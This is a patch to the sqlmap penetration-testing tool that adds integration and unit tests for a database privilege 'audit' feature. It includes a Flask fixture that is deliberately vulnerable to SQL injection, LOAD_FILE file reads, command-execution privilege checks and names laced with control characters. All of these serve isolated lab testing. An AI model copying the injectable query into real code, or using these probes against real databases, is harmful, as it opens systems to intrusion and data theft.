print('SQLi %s PASS' % label, flush=True)
|
||||
|
||||
try:
|
||||
if not args.reuse:
|
||||
command(compose + ['build', 'web-mysql'])
|
||||
command(compose + ['up', '-d'])
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=7) as pool:
|
||||
futures = [pool.submit(command, compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/seed.py']) for engine in ENGINES]
|
||||
for future in futures:
|
||||
future.result()
|
||||
expected = {}
|
||||
for engine, (dbms, admin) in ENGINES.items():
|
||||
for alias, account in (('admin', admin), ('app', 'audit_app'), ('limited', 'audit_limited')):
|
||||
snapshot_query = getSQLSnippet(dbms, 'audit_configuration_mariadb' if engine == 'mariadb' else 'audit_configuration', LIMIT=str(AUDIT_MAX_ROWS))
|
||||
before = sql(engine, admin, snapshot_query) if alias == 'admin' else None
|
||||
result = native(engine, account)
|
||||
if alias == 'admin':
|
||||
assert sql(engine, admin, snapshot_query) == before, 'audit changed configuration'
|
||||
expected[engine, alias] = result
|
||||
(logs / ('%s-%s-native.json' % (engine, alias))).write_text(json.dumps(result, indent=2))
|
||||
assert any('/ effective account:' in line or '/ effective login:' in line for line in result)
|
||||
if alias == 'admin':
|
||||
assert not any(re.match(r'^(identity|configuration|privileges|file access): retrieval failed', line) for line in result), (engine,result)
|
||||
if engine == 'postgres' and alias == 'app':
|
||||
assert 'privileges / pg_read_server_files: yes' in result
|
||||
assert 'privileges / pg_execute_server_program: no' in result
|
||||
if engine == 'mssql' and alias == 'limited':
|
||||
assert 'configuration: SELECT permission missing on master.sys.configurations' in result
|
||||
assert 'linked servers: SELECT permission missing on master.sys.servers' in result
|
||||
if engine == 'oracle' and alias == 'app':
|
||||
assert any('AUDIT_FILES [READ]' in line for line in result)
|
||||
if engine == 'oracle' and alias == 'limited':
|
||||
assert 'directory grants / visible directory grants: 0' in result
|
||||
assert any(line.startswith('configuration: retrieval failed') for line in result)
|
||||
print('Native %s/%s PASS' % (engine,alias), flush=True)
|
||||
|
||||
# Database root with FILE still cannot read files denied to the service OS user.
|
||||
for engine in ('mysql', 'mariadb', 'mysql-open', 'mysql-disabled'):
|
||||
container = command(compose + ['ps', '-q', engine]).stdout.strip()
|
||||
command(['docker','exec','-u','0',container,'sh','-c',
|
||||
'mkdir -p /var/lib/mysql-files; printf AUDIT_READABLE > /var/lib/mysql-files/readable.txt; '
|
||||
'printf AUDIT_PRIVATE > /var/lib/mysql-files/root-only.txt; '
|
||||
'printf AUDIT_OUTSIDE > /tmp/audit-outside.txt; '
|
||||
'chmod 644 /var/lib/mysql-files/readable.txt /tmp/audit-outside.txt; '
|
||||
'chmod 600 /var/lib/mysql-files/root-only.txt'])
|
||||
readable = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/readable.txt')")[0][0]
|
||||
private = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/root-only.txt')")[0][0]
|
||||
outside = sql(engine, 'root', "SELECT LOAD_FILE('/tmp/audit-outside.txt')")[0][0]
|
||||
assert private is None
|
||||
assert command(['docker','exec','-u','mysql',container,'test','-r','/var/lib/mysql-files/root-only.txt'],check=False).returncode != 0
|
||||
if engine == 'mysql-disabled':
|
||||
assert readable is None and outside is None
|
||||
assert any(line in expected[engine,'admin'] for line in ('file access / secure_file_priv: <NULL>', 'file access / secure_file_priv: NULL'))
|
||||
assert any('secure_file_priv=NULL blocks' in line for line in expected[engine,'admin'])
|
||||
elif engine == 'mysql':
|
||||
assert readable is not None and outside is None
|
||||
else:
|
||||
assert readable is not None and outside is not None
|
||||
assert ('file access / secure_file_priv: <NULL>' if engine == 'mariadb' else 'file access / secure_file_priv: <empty>') in expected[engine,'admin']
|
||||
assert any('no directory restriction' in line for line in expected[engine,'admin'])
|
||||
assert not any('OS boundary:' in line for line in expected[engine,'admin'])
|
||||
print('Filesystem boundary %s PASS' % engine, flush=True)
|
||||
|
||||
# Changes are made by this fixture provisioner, never by --audit.
|
||||
sql('postgres','postgres','REVOKE pg_read_server_files FROM audit_app')
|
||||
changed = native('postgres','audit_app')
|
||||
assert 'privileges / pg_read_server_files: no' in changed
|
||||
sql('postgres','postgres','GRANT pg_read_server_files TO audit_app')
|
||||
sql('mssql','sa',"EXEC sp_configure 'clr enabled',0; RECONFIGURE")
|
||||
assert 'configuration / clr enabled: disabled' in native('mssql','audit_app')
|
||||
sql('mssql','sa',"EXEC sp_configure 'clr enabled',1; RECONFIGURE")
|
||||
sql('oracle','sys','REVOKE SELECT ON sys.v_$parameter FROM audit_app')
|
||||
assert any(line.startswith('configuration: retrieval failed') for line in native('oracle','audit_app'))
|
||||
sql('oracle','sys','GRANT SELECT ON sys.v_$parameter TO audit_app')
|
||||
print('Grant/configuration changes reflected by audit PASS', flush=True)
|
||||
|
||||
# A successful zero-row SELECT must not be reported as a failed query.
|
||||
from plugins.generic import audit as auditModule
|
||||
original_snippet = auditModule.getSQLSnippet
|
||||
auditModule.getSQLSnippet = lambda *args, **kwargs: "SELECT audit_key,audit_value FROM (SELECT 'empty' AS audit_key,'Vempty' AS audit_value) audit_rows WHERE 1=0"
|
||||
try:
|
||||
assert native('mysql','root') == ['configuration: no entries', 'file access: no entries', 'identity: no entries', 'privileges: no entries']
|
||||
finally:
|
||||
auditModule.getSQLSnippet = original_snippet
|
||||
print('Confirmed empty metadata query PASS', flush=True)
|
||||
|
||||
# Independent semantics: row_security=off must fail, not bypass a policy.
|
||||
sql('postgres','postgres', 'CREATE TABLE audit_rls (id INT)')
|
||||
sql('postgres','postgres', 'INSERT INTO audit_rls VALUES (1),(2)')
|
||||
sql('postgres','postgres', 'GRANT SELECT ON audit_rls TO audit_app')
|
||||
sql('postgres','postgres', 'ALTER TABLE audit_rls ENABLE ROW LEVEL SECURITY')
|
||||
sql('postgres','postgres', 'CREATE POLICY audit_policy ON audit_rls USING (id=1)')
|
||||
assert sql('postgres','audit_app','SELECT * FROM audit_rls',check=False) is None
|
||||
assert not any('bypasses row-level security' in line for line in native('postgres','audit_app'))
|
||||
sql('postgres','postgres','ALTER ROLE audit_app BYPASSRLS')
|
||||
assert sql('postgres','audit_app','SELECT COUNT(*) FROM audit_rls')[0][0] == 2
|
||||
assert any('bypasses row-level security' in line for line in native('postgres','audit_app'))
|
||||
sql('postgres','postgres','ALTER ROLE audit_app NOBYPASSRLS')
|
||||
sql('postgres','postgres','DROP TABLE audit_rls')
|
||||
|
||||
sql('postgres','postgres','GRANT pg_execute_server_program TO audit_app')
|
||||
no_route = native('postgres','audit_app')
|
||||
assert any('COPY FROM PROGRAM privilege granted; no statement execution route identified' in line for line in no_route)
|
||||
assert not any('--os-cmd' in line for line in no_route)
|
||||
with_route = native('postgres','audit_app', statement=True)
|
||||
assert any('COPY FROM PROGRAM privilege granted; use --os-cmd' in line for line in with_route)
|
||||
if not args.native_only:
|
||||
scan('postgres','app','U',no_route)
|
||||
scan('postgres','app','BS',with_route)
|
||||
sql('postgres','postgres','REVOKE pg_execute_server_program FROM audit_app')
|
||||
print('Independent RLS and execution-route scenarios PASS', flush=True)
|
||||
|
||||
# The fixture creates real metadata beyond the limit and verifies exact totals.
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'audit_bound_%02d',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'bound.invalid'" % index)
|
||||
hostile = "audit_control\n[*] forged\r\x1b[2J"
|
||||
sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'%s',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'control.invalid'" % hostile)
|
||||
bounded = native('mssql','sa')
|
||||
assert 'linked servers / visible linked servers: 27' in bounded
|
||||
assert sum(line.startswith('linked servers / link ') for line in bounded) == AUDIT_MAX_ROWS
|
||||
assert 'Linked servers: showing 20 of 27; use --links for the full list' in bounded
|
||||
# The control-character name sorts outside the first details by server_id; test it separately below.
|
||||
if not args.native_only:
|
||||
scan('mssql','admin','U',bounded)
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('mssql','sa', "EXEC sp_dropserver @server=N'audit_bound_%02d',@droplogins='droplogins'" % index)
|
||||
hostile_result = native('mssql','sa')
|
||||
assert any('audit_control\\n[*] forged\\r\\x1b[2J' in line for line in hostile_result)
|
||||
assert not any('\n' in line or '\r' in line or '\x1b' in line for line in hostile_result)
|
||||
if not args.native_only:
|
||||
scan('mssql','admin','U',hostile_result)
|
||||
sql('mssql','sa', "EXEC sp_dropserver @server=N'%s',@droplogins='droplogins'" % hostile)
|
||||
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
path = "/tmp/audit-bound-%02d" % index if index else "/tmp/audit\n[*] forged\x1b[2J"
|
||||
sql('oracle','sys', "CREATE DIRECTORY AUDIT_BOUND_%02d AS '%s'" % (index,path))
|
||||
sql('oracle','sys', 'GRANT READ ON DIRECTORY AUDIT_BOUND_%02d TO audit_owner' % index)
|
||||
bounded = native('oracle','audit_owner')
|
||||
assert sum(line.startswith('directory grants / ') and '/ visible directory grants:' not in line for line in bounded) == AUDIT_MAX_ROWS
|
||||
assert any(line.startswith('Directory grants: showing 20 of ') for line in bounded)
|
||||
assert any('audit\\n[*] forged\\x1b[2J' in line for line in bounded)
|
||||
if not args.native_only:
|
||||
scan('oracle','admin','U',bounded)
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('oracle','sys','DROP DIRECTORY AUDIT_BOUND_%02d' % index)
|
||||
print('Bounded listings and control-character scenarios PASS', flush=True)
|
||||
|
||||
if not args.native_only:
|
||||
jobs = []
|
||||
for engine in ENGINES:
|
||||
for alias in ('admin','app','limited'):
|
||||
jobs.append((engine,alias,'U'))
|
||||
if engine not in ('mysql-open','mysql-disabled'):
|
||||
jobs.append((engine,'app','B'))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool:
|
||||
futures = [pool.submit(scan,engine,alias,technique,expected[engine,alias]) for engine,alias,technique in jobs]
|
||||
for future in futures:
|
||||
future.result()
|
||||
print('Audit matrix PASS; logs: %s' % logs, flush=True)
|
||||
finally:
|
||||
if not args.keep:
|
||||
command(compose + ['down','--volumes','--remove-orphans'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env python
|
||||
"""Create test accounts and known grants only in the disposable audit databases."""
|
||||
import time
|
||||
from db import connect, engine
|
||||
|
||||
admin = {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'sys'}[engine]
|
||||
for attempt in range(120):
|
||||
try:
|
||||
conn = connect(admin)
|
||||
break
|
||||
except Exception:
|
||||
if attempt == 119:
|
||||
raise
|
||||
time.sleep(1)
|
||||
cursor = conn.cursor()
|
||||
|
||||
|
||||
def execute(sql):
|
||||
cursor.execute(sql)
|
||||
|
||||
|
||||
if engine in ('mysql', 'mariadb'):
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE USER '%s'@'%%' IDENTIFIED BY 'AuditOnly!2026'" % user)
|
||||
execute("GRANT SELECT ON auditlab.* TO '%s'@'%%'" % user)
|
||||
execute("GRANT SELECT ON performance_schema.* TO 'audit_app'@'%'")
|
||||
execute("GRANT FILE ON *.* TO 'audit_app'@'%'")
|
||||
elif engine == 'postgres':
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE USER %s WITH PASSWORD 'AuditOnly!2026'" % user)
|
||||
execute('GRANT SELECT ON users TO %s' % user)
|
||||
execute('GRANT pg_read_server_files TO audit_app')
|
||||
execute('GRANT pg_write_server_files TO audit_app')
|
||||
execute("ALTER ROLE audit_app SET row_security=off")
|
||||
elif engine == 'mssql':
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE LOGIN %s WITH PASSWORD='AuditOnly!2026',CHECK_POLICY=OFF" % user)
|
||||
execute('CREATE USER %s FOR LOGIN %s' % (user,user))
|
||||
execute('GRANT SELECT ON users TO %s' % user)
|
||||
execute('DENY SELECT ON OBJECT::sys.configurations TO audit_limited')
|
||||
execute('DENY SELECT ON OBJECT::sys.servers TO audit_limited')
|
||||
execute("EXEC sp_configure 'show advanced options',1")
|
||||
execute('RECONFIGURE')
|
||||
execute("EXEC sp_configure 'clr enabled',1")
|
||||
execute('RECONFIGURE')
|
||||
execute("EXEC sp_addlinkedserver @server=N'audit_reporting',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'reporting.invalid'")
|
||||
execute("EXEC sp_serveroption @server=N'audit_reporting',@optname=N'rpc out',@optvalue=N'true'")
|
||||
else:
|
||||
execute('GRANT DBA TO audit_owner')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute('CREATE USER %s IDENTIFIED BY "AuditOnly!2026"' % user)
|
||||
execute('GRANT CREATE SESSION TO %s' % user)
|
||||
execute('CREATE TABLE audit_owner.users (id NUMBER PRIMARY KEY,name VARCHAR2(100),surname VARCHAR2(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute('GRANT SELECT ON audit_owner.users TO %s' % user)
|
||||
execute('CREATE SYNONYM %s.users FOR audit_owner.users' % user)
|
||||
execute('CREATE SYNONYM system.users FOR audit_owner.users')
|
||||
execute('GRANT SELECT ON sys.v_$parameter TO audit_app')
|
||||
execute("CREATE DIRECTORY AUDIT_FILES AS '/tmp/audit-files'")
|
||||
execute('GRANT READ ON DIRECTORY AUDIT_FILES TO audit_app')
|
||||
execute('CREATE SYNONYM audit_owner.audit_fixture_users FOR audit_owner.users')
|
||||
# Insert into the application schema; the SYS/SYSTEM account is only the fixture provisioner.
|
||||
execute("INSERT INTO audit_owner.users VALUES (1,'luther','blisset')")
|
||||
execute("INSERT INTO audit_owner.users VALUES (2,'fluffy','bunny')")
|
||||
conn.commit()
|
||||
if engine != 'oracle':
|
||||
execute("INSERT INTO users VALUES (1,'luther','blisset')")
|
||||
execute("INSERT INTO users VALUES (2,'fluffy','bunny')")
|
||||
conn.close()
|
||||
print('%s fixture seeded' % engine)
|
||||
@@ -0,0 +1,35 @@
|
||||
#!/usr/bin/env python
|
||||
"""Deliberately injectable HTTP fixture. Run only on the isolated audit lab network."""
|
||||
import html
|
||||
from flask import Flask, request
|
||||
from db import connect, engine
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.get('/<account>/get_int')
|
||||
def query(account):
|
||||
accounts = {'admin': {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'audit_owner'},
|
||||
'app': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_app'),
|
||||
'limited': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_limited')}
|
||||
if account not in accounts:
|
||||
return 'unknown account', 404
|
||||
conn = None
|
||||
try:
|
||||
conn = connect(accounts[account][engine], pooled=True)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute('SELECT id,name,surname FROM users WHERE id=%s' % request.args.get('id', '1'))
|
||||
rows = cursor.fetchall()
|
||||
body = '<html><body><table>'
|
||||
for row in rows:
|
||||
body += '<tr>' + ''.join('<td>%s</td>' % html.escape('' if value is None else str(value)) for value in row) + '</tr>'
|
||||
return body + '</table></body></html>'
|
||||
except Exception as ex:
|
||||
# Render the driver's message, not Python's repr of its argument tuple.
|
||||
message = next((value for value in ex.args if isinstance(value, str)), str(ex))
|
||||
return '<html><body>%s</body></html>' % html.escape(message)
|
||||
finally:
|
||||
if conn is not None:
|
||||
conn.close()
|
||||
|
||||
|
||||
app.run(host='0.0.0.0', port=8080, threaded=True)
|
||||
@@ -186,6 +186,12 @@ class TestPrefixSuffix(unittest.TestCase):
|
||||
|
||||
|
||||
class TestGetFields(unittest.TestCase):
|
||||
def test_multiline_scalar_literal(self):
|
||||
field = "HEX('a;\n b')"
|
||||
result = agent.getFields("SELECT %s" % field)
|
||||
self.assertEqual(result[5], [field])
|
||||
self.assertEqual(result[6], field)
|
||||
|
||||
def test_extracts_select_list(self):
|
||||
# getFields(query) returns an 8-tuple; the fields-bearing slots are:
|
||||
# [0],[1] = regex match objects for the SELECT/expression (must be found, not None)
|
||||
@@ -556,6 +562,21 @@ class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase):
|
||||
out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw")
|
||||
self.assertEqual(out, "p=raw")
|
||||
|
||||
def test_origvalue_identifier_raw_for_group_order_by(self):
|
||||
self.assertEqual(agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[2, 3]), "p.name")
|
||||
self.assertIn("'p.name'", agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[1, 2, 3]))
|
||||
|
||||
def test_random_values_avoid_string_marker(self):
|
||||
# a reflected [RANDNUM] (e.g. quoted back in a DBMS error message) containing the --string
|
||||
# marker would fake a True response (e.g. --string=98 vs. 8988)
|
||||
saved = conf.string
|
||||
conf.string = "9"
|
||||
try:
|
||||
for _ in range(200):
|
||||
self.assertNotIn("9", agent.cleanupPayload("[RANDNUM] [RANDNUM1]"))
|
||||
finally:
|
||||
conf.string = saved
|
||||
|
||||
def test_space_replace_marker(self):
|
||||
out = agent.cleanupPayload("a[SPACE_REPLACE]b")
|
||||
self.assertEqual(out, "a%sb" % kb.chars.space)
|
||||
|
||||
@@ -30,6 +30,7 @@ bootstrap()
|
||||
|
||||
import lib.utils.api as api
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE
|
||||
from thirdparty.bottle.bottle import default_app
|
||||
@@ -308,6 +309,63 @@ class TestStdDbOutAndLogRecorder(unittest.TestCase):
|
||||
self.assertEqual(rows[0][2], "hello world")
|
||||
|
||||
|
||||
class TestStdDbOutMultiTarget(unittest.TestCase):
|
||||
"""
|
||||
Regression coverage for issue #2503: a multi-target scan (crawl or '-m' bulk
|
||||
file) inside a single REST API task runs every target through one StdDbOut
|
||||
instance. StdDbOut.write() keys each target's data rows by kb.reportTaskId
|
||||
('<taskid>-<n>'), so a later target's COMPLETE row cannot delete an earlier
|
||||
target's rows of the same content_type in _storeData() - mirroring the
|
||||
--report-json fix for #6123 (see test_report.py's TestMultiTargetTaskId).
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
self.db = api.Database(":memory:")
|
||||
self.db.connect("client")
|
||||
self.db.init()
|
||||
self._saved_stdout = sys.stdout
|
||||
self._saved_cursor = conf.get("databaseCursor")
|
||||
self._saved_partRun = kb.get("partRun")
|
||||
self._had_reportTaskId = "reportTaskId" in kb
|
||||
self._saved_reportTaskId = kb.get("reportTaskId")
|
||||
conf.databaseCursor = self.db
|
||||
kb.partRun = None
|
||||
|
||||
def tearDown(self):
|
||||
sys.stdout = self._saved_stdout
|
||||
conf.databaseCursor = self._saved_cursor
|
||||
kb.partRun = self._saved_partRun
|
||||
if self._had_reportTaskId:
|
||||
kb.reportTaskId = self._saved_reportTaskId
|
||||
elif "reportTaskId" in kb:
|
||||
del kb.reportTaskId
|
||||
self.db.disconnect()
|
||||
|
||||
def test_second_target_does_not_overwrite_first(self):
|
||||
std = api.StdDbOut("t1", messagetype="stdout")
|
||||
sys.stdout = self._saved_stdout # StdDbOut hijacked it; call write() directly
|
||||
|
||||
kb.reportTaskId = 1
|
||||
std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
kb.reportTaskId = 2
|
||||
std.write({"url": "http://host2/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
|
||||
rows = self.db.execute("SELECT taskid FROM data ORDER BY id")
|
||||
self.assertEqual([row[0] for row in rows], ["t1-1", "t1-2"]) # neither target's row was deleted
|
||||
|
||||
def test_without_report_task_id_keeps_plain_taskid(self):
|
||||
# e.g. output written before controller.start() reaches its target loop
|
||||
if "reportTaskId" in kb:
|
||||
del kb.reportTaskId
|
||||
std = api.StdDbOut("t1", messagetype="stdout")
|
||||
sys.stdout = self._saved_stdout
|
||||
|
||||
std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
|
||||
rows = self.db.execute("SELECT taskid FROM data")
|
||||
self.assertEqual([row[0] for row in rows], ["t1"])
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HTTP routes (WSGI test client)
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -485,6 +543,26 @@ class TestScanQueryRoutes(_ApiServerCase):
|
||||
self.assertFalse(parsed["success"])
|
||||
|
||||
|
||||
class TestScanDataMultiTarget(_ApiServerCase):
|
||||
"""scan_data() folds the per-target '<taskid>-<n>' rows (see StdDbOut.write) back into the task's flat result, in target order."""
|
||||
|
||||
def test_data_merges_per_target_rows(self):
|
||||
taskid = self._new_task()
|
||||
api._storeData(self.db, "%s-2" % taskid, {"url": "http://host2/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
api._storeData(self.db, "%s-1" % taskid, {"url": "http://host1/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid)
|
||||
self.assertEqual(code, 200)
|
||||
self.assertTrue(parsed["success"])
|
||||
self.assertEqual([d["value"]["url"] for d in parsed["data"]], ["http://host1/?id=1", "http://host2/?id=1"])
|
||||
|
||||
def test_data_ignores_other_tasks_rows(self):
|
||||
taskid = self._new_task()
|
||||
api._storeData(self.db, "othertask-1", {"url": "http://other/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid)
|
||||
self.assertTrue(parsed["success"])
|
||||
self.assertEqual(parsed["data"], [])
|
||||
|
||||
|
||||
class TestScanStart(_ApiServerCase):
|
||||
"""scan_start, with the subprocess-spawning seam (engine_start) monkeypatched."""
|
||||
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Audit acquisition preserves NULL/empty/unknown states and interpretation boundaries.
|
||||
Real DBMS/SQLi coverage is opt-in under tests/integration/audit/.
|
||||
"""
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.data import conf, kb, paths, queries
|
||||
from lib.core.enums import DBMS, FORK, EXPECTED, PAYLOAD
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
from lib.request import inject
|
||||
from plugins.generic.audit import Audit
|
||||
from plugins.generic.databases import Databases
|
||||
|
||||
tearDownModule = reset_dbms
|
||||
|
||||
|
||||
class TestAudit(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self._saved = dict(conf)
|
||||
self._cache = kb.data.get('cachedAudit')
|
||||
self._getValue = inject.getValue
|
||||
self._forced = kb.get('forcedDbms')
|
||||
self._injection = kb.injection.data
|
||||
self._gadget = kb.get("gadget")
|
||||
kb.injection.data = {}
|
||||
kb.gadget = None
|
||||
conf.direct = False
|
||||
kb.data.cachedAudit = []
|
||||
set_dbms(DBMS.MYSQL)
|
||||
|
||||
def tearDown(self):
|
||||
kb.injection.data = self._injection
|
||||
kb.gadget = self._gadget
|
||||
inject.getValue = self._getValue
|
||||
kb.data.cachedAudit = self._cache
|
||||
kb.forcedDbms = self._forced
|
||||
conf.clear()
|
||||
conf.update(self._saved)
|
||||
|
||||
def test_preserves_null_empty_and_marker_like_values(self):
|
||||
inject.getValue = lambda *a, **k: [['null', 'N'], ['empty', 'V'], ['text', 'VNULL'], ['prefix', 'VVvalue'], ['padded ', 'Vkeep '], ['trailing\n', 'Vvalue']]
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), {'null': None, 'empty': '', 'text': 'NULL', 'prefix': 'Vvalue', 'padded': 'keep ', 'trailing\n': 'value'})
|
||||
|
||||
def test_single_row_and_failed_results(self):
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
for value, expected in ((['name', 'Vvalue'], {'name': 'value'}), (None, None), ([], None), (['truncated'], None), ([['key', 'invalid']], None)):
|
||||
inject.getValue = lambda *a, **k: value
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), expected)
|
||||
|
||||
def test_major_dbmses_dispatch_without_xml_audit_blocks(self):
|
||||
inject.getValue = lambda *a, **k: [['effective account', 'Vtest']]
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
d = Databases()
|
||||
self.assertNotIn('audit', queries[dbms])
|
||||
result = d.getAudit()
|
||||
self.assertTrue(any('test' in item for item in result))
|
||||
self.assertFalse(any('OS boundary:' in item for item in result))
|
||||
|
||||
def test_unsupported_dbmses_do_not_query(self):
|
||||
inject.getValue = lambda *a, **k: self.fail('unsupported DBMS must not query')
|
||||
for dbms in queries:
|
||||
if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
self.assertEqual(Databases().getAudit(), [])
|
||||
|
||||
def test_failures_are_not_reported_as_disabled(self):
|
||||
inject.getValue = lambda *a, **k: None
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
result = Databases().getAudit()
|
||||
self.assertTrue(any('retrieval failed' in item for item in result))
|
||||
self.assertFalse(any(item.endswith(': disabled') for item in result))
|
||||
|
||||
def test_cache_and_bulk_queries_use_existing_extraction(self):
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
self.assertTrue(kwargs.get('fromUser'))
|
||||
self.assertTrue(kwargs.get('batch'))
|
||||
self.assertNotIn('\n', query)
|
||||
self.assertNotIn('\r', query)
|
||||
calls.append(query)
|
||||
return [['effective account', 'Vtest']]
|
||||
inject.getValue = getValue
|
||||
d = Databases()
|
||||
result = d.getAudit()
|
||||
count = len(calls)
|
||||
self.assertEqual(count, 4)
|
||||
self.assertEqual(d.getAudit(), result)
|
||||
self.assertEqual(len(calls), count)
|
||||
|
||||
def test_mysql_directory_null_and_empty_are_different(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
audit = MySQLAudit()
|
||||
cases = ((None, 'blocks'), ('NULL', 'blocks'), ('', 'no directory restriction'), ('/var/lib/mysql-files/', 'must be inside'))
|
||||
for value, expected in cases:
|
||||
result = audit.explain({'file access': {'secure_file_priv': value}})
|
||||
self.assertTrue(any(expected in item for item in result))
|
||||
self.assertFalse(any('must be inside' in item for item in audit.explain({})))
|
||||
|
||||
def test_mariadb_selects_fork_specific_configuration(self):
|
||||
from lib.core.common import Backend
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
original = Backend.isFork
|
||||
Backend.isFork = staticmethod(lambda fork: fork == FORK.MARIADB)
|
||||
try:
|
||||
self.assertEqual(MySQLAudit().queries[1][1][0], 'audit_configuration_mariadb')
|
||||
self.assertFalse(any('blocks' in item for item in MySQLAudit().explain({'file access': {'secure_file_priv': None}})))
|
||||
finally:
|
||||
Backend.isFork = staticmethod(original)
|
||||
|
||||
def test_mssql_explicit_permission_denial(self):
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
audit = MSSQLAudit()
|
||||
groups = {'permissions': {'read configuration metadata': '0'}}
|
||||
self.assertEqual(audit.failure('configuration', groups), 'configuration: SELECT permission missing on master.sys.configurations')
|
||||
self.assertEqual(audit.failure('linked servers', groups), 'linked servers: retrieval failed')
|
||||
|
||||
def test_guidance_requires_retrieved_capabilities(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
from plugins.dbms.oracle.audit import Audit as OracleAudit
|
||||
for audit in (MySQLAudit(), PostgreSQLAudit(), MSSQLAudit(), OracleAudit()):
|
||||
self.assertEqual(audit.explain({}), [])
|
||||
self.assertEqual(MySQLAudit().explain({'privileges': {'direct FILE grant': '0'}}), [])
|
||||
result = MySQLAudit().explain({'file access': {'secure_file_priv': '/allowed/', 'max_allowed_packet': '1024'}, 'privileges': {'direct FILE grant': '1'}})
|
||||
self.assertTrue(any('must be inside' in item for item in result))
|
||||
self.assertTrue(any('file size < 1024 bytes' in item for item in result))
|
||||
result = MySQLAudit().explain({'file access': {'secure_file_priv': None}, 'privileges': {'direct FILE grant': '1'}})
|
||||
self.assertFalse(any('FILE granted; use' in item for item in result))
|
||||
